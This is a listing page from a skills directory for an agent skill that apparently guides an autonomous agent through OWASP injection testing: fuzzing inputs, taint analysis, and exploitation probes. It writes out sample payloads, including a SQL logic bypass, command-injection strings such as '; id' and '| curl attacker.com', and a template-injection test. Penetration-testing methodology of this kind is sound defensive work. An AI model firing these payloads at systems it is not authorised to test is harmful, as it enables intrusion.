This skill guides the agent in identifying SQL, NoSQL, OS Command, and Template injections.
Scanned 9/1/2026
Install to Claude Code
Skills Directorynpx -y skills add H4D3ZS/FlutterSentinel --skill injection --agent claude-codeInstalls into .claude/skills of the current project.
Are you the author of Injection?
Add the live security badge to your README — it updates automatically with every re-scan.
[](https://www.skillsdirectory.com/skills/h4d3zs-injection)More formats (shields.io, HTML) on the badges page.
# Skill: OWASP A03 - Injection
This skill guides the agent in identifying SQL, NoSQL, OS Command, and Template injections.
## 1. Methodology (Autonomous Cycle)
- **Fuzzing**: Identify all input vectors (Query params, Body, Headers like \`User-Agent\`).
- **Taint Analysis**: Use \`fbh_scan\` to trace where user input reaches dangerous sinks (e.g., \`db.query()\`, \`os.system()\`).
## 2. Exploitation Tactics
- **SQLi**: Test for logic bypass (\`' OR 1=1 --\`) and time-based blind injection.
- **Command Injection**: Test with \`; id\`, \`&& whoami\`, or \`| curl attacker.com\`.
- **SSTI**: Test for template engine injection (e.g., \`{{7*7}}\`).
## 3. Tooling
- Use \`fbh_scan\` for core injection detection.
- Use \`fbh_research_vulnerability\` to find tech-specific injection payloads (e.g., "Mongoose NoSQL injection").
Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.
No comments yet. Be the first to comment!
